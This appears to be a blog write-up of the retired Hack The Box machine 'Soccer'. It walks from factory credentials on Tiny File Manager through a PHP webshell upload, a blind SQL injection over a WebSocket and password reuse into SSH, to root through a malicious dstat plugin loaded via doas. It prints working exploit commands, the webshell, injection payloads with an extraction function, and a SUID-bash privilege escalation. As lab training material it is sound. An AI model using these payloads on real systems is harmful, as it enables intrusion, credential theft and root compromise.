root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat soccer.md
// writeups

Soccer

17 Dec 2022 · 23 min read
Soccer - maquina de Hack The Box

Executive summary — Soccer chains factory credentials on Tiny File Manager with an unrestricted file upload to get RCE as www-data, discovers a second vhost from there exposing a Node application over WebSocket, exploits a blind, numeric-context SQL injection carried over that WebSocket (not HTTP, so standard tooling never reaches it) to steal database credentials, and closes the loop with a password reuse into SSH plus a doas rule that allows loading arbitrary Python plugins into dstat as root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.43.221

Attack map

[80] soccer.htb — static site   [9091] Express unidentified by nmap
   │  directory brute force -> /tiny/ -> Tiny File Manager 2.4.3
   ▼
[tiny] admin:admin@123 (factory credentials) -> full file manager
   │  unrestricted-extension upload to /tiny/uploads/ (served with PHP)
   ▼
[RCE]  www-data  (PHP webshell)
   │  /etc/nginx/sites-enabled reveals hidden vhost soc-player.soccer.htb
   │  -> proxies to Node on :3000, real WebSocket on :9091
   ▼
[9091] WebSocket — "id" parameter interpolated unquoted in a template literal
   │  Blind SQL injection (numeric context) -> dump of accounts
   ▼
[creds] player:PlayerOftheMatch2022 (DB, plaintext) -> reused over SSH
   ▼
[SSH]  player  (user.txt)
   │  doas NOPASSWD /usr/bin/dstat + plugin directory writable by
   │  the player group -> dstat loads and runs Python as root
   ▼
[ROOT]  malicious dstat Python plugin -> SUID bash -> root.txt

1. Reconnaissance

nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.43.221
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
9091/tcp  open     xmltec-xmlmail
9287/tcp  filtered cumulus
22177/tcp filtered unknown
...  (9 more "filtered" ports)

The scattered, randomly-numbered "filtered" ports are noise from the aggressive --min-rate (dropped SYNs with no response or RST), not a real firewall — a real firewall filters coherent ranges, not random stray ports. What matters is 9091/tcp open: a non-standard high port is usually a custom application, not a packaged, hardened service.

nmap -sCV -p22,80,9091 -Pn -oN nmap-services.txt 10.129.43.221
22/tcp   open  http            OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     <pre>Cannot GET /</pre>
1 service unrecognized despite returning data.

nmap can't identify the service on 9091, but the fingerprint gives it away: Cannot GET / is the exact text of Express.js's default 404 handler, and the Content-Security-Policy/X-Content-Type-Options headers are the ones Express adds automatically to its error responses. It's a Node/Express app that serves nothing at / — either it only handles specific routes, or it doesn't speak plain HTTP at all.

echo "10.129.43.221 soccer.htb" | sudo tee -a /etc/hosts

With both surfaces confirmed (a static site on 80, an unidentified Express app on 9091), it's time to enumerate each.

2. Initial exploitation — Tiny File Manager

soccer.htb is a static template with no dynamic functionality or internal links: an apparent dead end, and exactly when directory brute-forcing is worth it.

gobuster dir -u http://10.129.43.221 -H "Host: soccer.htb" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -t 50 -q
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

A single result, and it's enough. The HTML reveals Tiny File Manager 2.4.3, a single-file PHP web file manager common on shared hosting. This is already a serious finding on its own: Tiny File Manager is, functionally, a GUI code executor — it browses, uploads, edits and deletes arbitrary files. Running in a PHP-served directory, anyone who authenticates gets trivial RCE. No software vulnerability required: that's its intended functionality. The entire security model comes down to the password.

Tiny File Manager ships with two example accounts documented in its own README: admin/admin@123 (read/write) and user/12345 (read-only). They were tested against the real login:

curl -s --resolve soccer.htb:80:10.129.43.221 -c cj.txt -b cj.txt -i \
  -X POST http://soccer.htb/tiny/ \
  -d "fm_usr=admin" -d "fm_pwd=admin@123"
HTTP/1.1 302 Found
Set-Cookie: filemanager=vpchur362usb2q6k63jba60jom; path=/
Location: http://soccer.htb/tiny/tinyfilemanager.php?p=

A failed login would return 200 with the form; here there's a 302 with Set-Cookie to the manager — successful authentication with factory credentials. Browsing with the session cookie surfaces a tiny/uploads directory inside the docroot /var/www/html — the dangerous combination: an upload directory inside the directory served by nginx with PHP active.

cat > shell.php <<'EOF'
<?php echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?>
EOF

curl -s --resolve soccer.htb:80:10.129.43.221 -b cj.txt -i \
  -X POST "http://soccer.htb/tiny/tinyfilemanager.php?p=tiny/uploads" \
  -F "p=tiny/uploads" -F "fullpath=shell.php" -F "file=@shell.php"
{"status":"success","info":"file upload successful"}

No extension validation whatsoever: the .php file is accepted as-is. The PWNOK: marker in the webshell lets the command output be trimmed programmatically:

./c.sh "http://soccer.htb/tiny/uploads/shell.php?cmd=id"
PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed as www-data.

3. Post-exploitation — hidden vhost and Node application

With command execution, the nginx configuration is mandatory reading: it declares every site hosted, including ones not advertised externally.

ls /etc/nginx/sites-enabled/
cat /etc/nginx/sites-enabled/soc-player.htb
default
soc-player.htb

server {
        listen 80;
        server_name soc-player.soccer.htb;
        root /root/app/views;
        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}

Four facts in twelve lines: a second, third-level vhost no subdomain fuzzing against soccer.htb would have found; the app lives in /root/app, so the Node process runs as root; there's a service on port 3000 not reachable from the network, sitting behind a proxy; and proxy_set_header Upgrade $http_upgrade is explicit WebSocket configuration — connecting the dots straight back to the unidentified 9091. ls -la /root/app/ returns Permission denied: the analysis has to stay black-box.

echo "10.129.43.221 soc-player.soccer.htb" | sudo tee -a /etc/hosts

The application has open registration (/signup, /login, /match) — an invitation to create an own account rather than steal credentials. The first login attempt, reusing the signup fields (username+password), returned a 200 with an empty body: not a credential error (that would show a message) but the sign that the handler didn't find the fields it expected. Reading the actual login HTML confirms the mismatch: signup uses username+email+password, but login only takes email+password. With the right fields, authentication succeeds (an express-session connect.sid cookie).

grep -oiE 'new WebSocket[^;]*|<input[^>]*>' check.html
<input type="text" name="id" id="id" class="form-control">
new WebSocket("ws://soc-player.soccer.htb:9091")

The reconnaissance loop closes here: port 9091 is this application's WebSocket server, and the whole protocol (pulled from the client-side JS) is a single parameter: send {"id": "<value>"}, receive a text string — a query against some ticket database. Minimal surface, but enough.

4. Blind SQL injection over WebSocket

sqlmap speaks HTTP: URLs, parameters, headers, cookies. A WebSocket, past the initial handshake, stops being HTTP — it's a bidirectional channel with its own frames. There's an option to stand up a local HTTP proxy that translates each request into a WebSocket message, but a custom extractor was written instead: full control over what response counts as true, far less noise, and no translation layer that could introduce its own errors.

python3 wstest.py 1 2 3 4 5 1234 99999 abc
'1'      -> "Ticket Doesn't Exist"
'1234'   -> "Ticket Doesn't Exist"
'abc'    -> "Ticket Doesn't Exist"

Every input returns the same thing: without a positive response there's no oracle. Testing injection with and without quotes:

python3 wstest.py "1' or '1'='1" "1 or 1=1" "1' or 1=1-- -" "0 or 1=1"
"1' or '1'='1"     -> "Ticket Doesn't Exist"
'1 or 1=1'         -> 'Ticket Exists'          <-
"1' or 1=1-- -"    -> "Ticket Doesn't Exist"
'0 or 1=1'         -> 'Ticket Exists'          <-

The payloads that work are exactly the ones without quotes: the parameter is interpolated in numeric context (WHERE id = $id), not string context. Quoted payloads trigger a SQL syntax error that the application catches and flattens to the same message as a nonexistent ticket — that's what makes it blind. Many testers try only the quoted variant and, seeing nothing, rule out injection; here it's precisely the quote that breaks the payload.

python3 wstest.py "1 or sleep(0)=0" "1 or @@version like '%'" "1 or (select database()) like '%'"
'1 or sleep(0)=0'                   -> 'Ticket Exists'   -> MySQL/MariaDB
"1 or @@version like '%'"           -> 'Ticket Exists'   -> MySQL/MariaDB
"1 or (select database()) like '%'" -> 'Ticket Exists'   -> metadata functions OK

A clean oracle (1 or <condition>: since ticket 1 doesn't exist, the result depends solely on the injected condition) and a confirmed MySQL/MariaDB engine. With a binary oracle any data can be extracted character by character; instead of testing the ~95 printable characters one at a time, binary search over the ASCII code cuts that to ~7 queries per character:

def char_at(expr, pos):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if ask(f"1 or ascii(substring(({expr}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

With a ThreadPoolExecutor (each position is independent of the others, trivially parallelizable) and a ×3 retry per query (WebSocket connections drop sporadically under concurrency, and a single wrong bit corrupts the whole result):

python3 sqli.py "select version()" "version"
python3 sqli.py "select database()" "database"
python3 sqli.py "select group_concat(table_name) from information_schema.tables where table_schema='soccer_db'" "tables"
python3 sqli.py "select group_concat(column_name) from information_schema.columns where table_schema='soccer_db' and table_name='accounts'" "columns"
python3 sqli.py "select group_concat(username,0x3a,email,0x3a,password separator 0x7c) from soccer_db.accounts" "accounts"
[+] version: 8.0.31-0ubuntu0.20.04.2
[+] database: soccer_db
[+] tables: accounts
[+] columns: email,id,password,username
[+] accounts: player:player@player.htb:PlayerOftheMatch2022

The 0x3a/0x7c separators (: and | in hex) avoid literal quotes, impossible in numeric context. Result: credentials player/PlayerOftheMatch2022, plus a separate finding — the password is stored in plaintext, no hash, no salt.

Rigor note: the test account created while probing the login form was no longer present in the table by the time of the dump, which only contained the player row. This was re-verified later with direct MySQL access, same result. No cron job or application logic was found to explain it — logged here as an observation without a conclusion, since it doesn't affect the outcome of the analysis.

5. Lateral movement — player

PlayerOftheMatch2022 is, in theory, just an application account's password. It was tried against SSH anyway, since the system has a user with the same name:

sshpass -p 'PlayerOftheMatch2022' ssh \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  player@10.129.43.221 'id; hostname; cat ~/user.txt'
uid=1001(player) gid=1001(player) groups=1001(player)
soccer
2722940f16e287263afb2bb8f847ad49

user.txt: 2722940f16e287263afb2bb8f847ad49

The SSH session brings a step up in access quality over the webshell: a real TTY, state between commands, and above all group membership — the player group turns out to be the key to the escalation, a permission www-data never had any way to reach.

6. Privilege escalation — doas + dstat (root.txt)

find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/doas          <-
/usr/lib/snapd/snap-confine
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
...

Almost everything is Ubuntu's standard SUID set. What stands out is /usr/local/bin/doas: OpenBSD's minimalist alternative to sudo, in /usr/local/bin (manual install, not from a repository), with configuration entirely independent of /etc/sudoers — an admin who only audits sudo -l would never see this privilege, and indeed sudo -n -l shows nothing useful here.

find / -name "doas.conf" 2>/dev/null -exec cat {} \;
permit nopass player as root cmd /usr/bin/dstat

nopass: not even player's password is needed. dstat is a system statistics tool, apparently harmless and read-only — which is why an admin would consider it safe to grant through doas. The problem is that dstat is extensible via Python plugins: on startup it looks for files matching dstat_<name>.py and, when invoked with --<name>, imports and runs them. It isn't just a stats reader — it's effectively a Python interpreter, running here as root. The same pattern repeats in vim (:!sh), find (-exec), awk (system()) or git hooks: any binary with embedded scripting granted via sudo/doas amounts to arbitrary code execution.

ls -ld /usr/local/share/dstat/
find / -type d -writable 2>/dev/null | grep -i dstat
drwxrwx--- 2 root player 4096 Dec 12  2022 /usr/local/share/dstat/     <-
/usr/local/share/dstat                                                 <- writable

The plugin directory of a tool that runs as root belongs to the player group with write permission — and it's empty, no legitimate plugin present, so that permission serves no operational purpose at all. All three necessary conditions hold at once: doas runs dstat as root with no password, dstat loads and runs arbitrary Python, and the plugin directory is writable by this user. None is exploitable alone; together they're immediate root.

cat > /usr/local/share/dstat/dstat_pwn.py <<'EOS'
import os
os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
EOS

doas /usr/bin/dstat --pwn >/dev/null 2>&1

ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1183448 Aug  8 16:31 /tmp/rootbash
uid=1001(player) gid=1001(player) euid=0(root) groups=1001(player)
=== ROOT.TXT ===
b194507bd61bd0237926eb4a0d1ac502

--pwn makes dstat map to and import dstat_pwn.py; Python runs a module's top-level code on import, so the import alone is enough, with no need for dstat to explicitly call anything of ours. A SUID copy of bash beats an ephemeral shell: repeatable root access. The critical detail is -p: bash drops elevated privileges on startup by default (an anti-SUID-shell protection); -p keeps the inherited euid. In the id output, uid=1001(player) but euid=0(root) — the real uid is still player, but the effective uid, the one the kernel checks for access control, is root.

root.txt: b194507bd61bd0237926eb4a0d1ac502

Later verification with root access: the source of server.js confirms the black-box analysis point by point (where id =${id} unquoted, if (error) ws.send("Ticket Doesn't Exist") flattening errors). And in app.js, by the same author, the signup and login queries do use bound placeholders (?) — the developer knew the right way and applied it twice; it failed exactly in the file that handles the WebSocket, the one that least resembles the rest of the codebase. A consistency failure, not a knowledge gap: what's missing isn't training, it's a linter/SAST check in the pipeline that flags it every time.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdTiny File Manager 2.4.3Factory credentials (admin:admin@123) + unrestricted-extension file uploadRCE as www-data
Internal applicationWebSocket server.js (:9091)Blind SQL injection in numeric context — unparameterized idDump of accounts credentials
Lateral movementSSH / DB passwordPassword reused across DB, application and the player system accountInteractive access as player (user.txt)
PrivEscdoas + /usr/local/share/dstatPlugin directory writable by the player group + arbitrary Python loaded as rootRoot via a malicious dstat plugin (root.txt)

Lessons learned

  • A web file manager is, de facto, a GUI code executor: its entire security rests on the password. Changing the factory credentials of admin tools (Tiny File Manager, phpMyAdmin, control panels...) isn't optional.
  • An upload directory served by the same interpreter that runs the site (PHP + uploads/ inside the docroot) is dangerous on its own, even with zero software vulnerabilities involved.
  • sqlmap and most automated scanners assume HTTP; surfaces over WebSocket, gRPC or other protocols need a purpose-built extractor — don't rule out injection just because the standard tool can't reach it.
  • When testing for SQLi, always check numeric context alongside string context: a quoted payload that fails doesn't rule out injection if the parameter is interpolated unquoted.
  • A "read-only" binary with a plugin or embedded scripting system (dstat, vim, find -exec, awk, git hooks...) amounts to an interpreter: granting it via sudo/doas grants arbitrary code execution. Audit configurations outside /etc/sudoers too — doas.conf is easy to miss.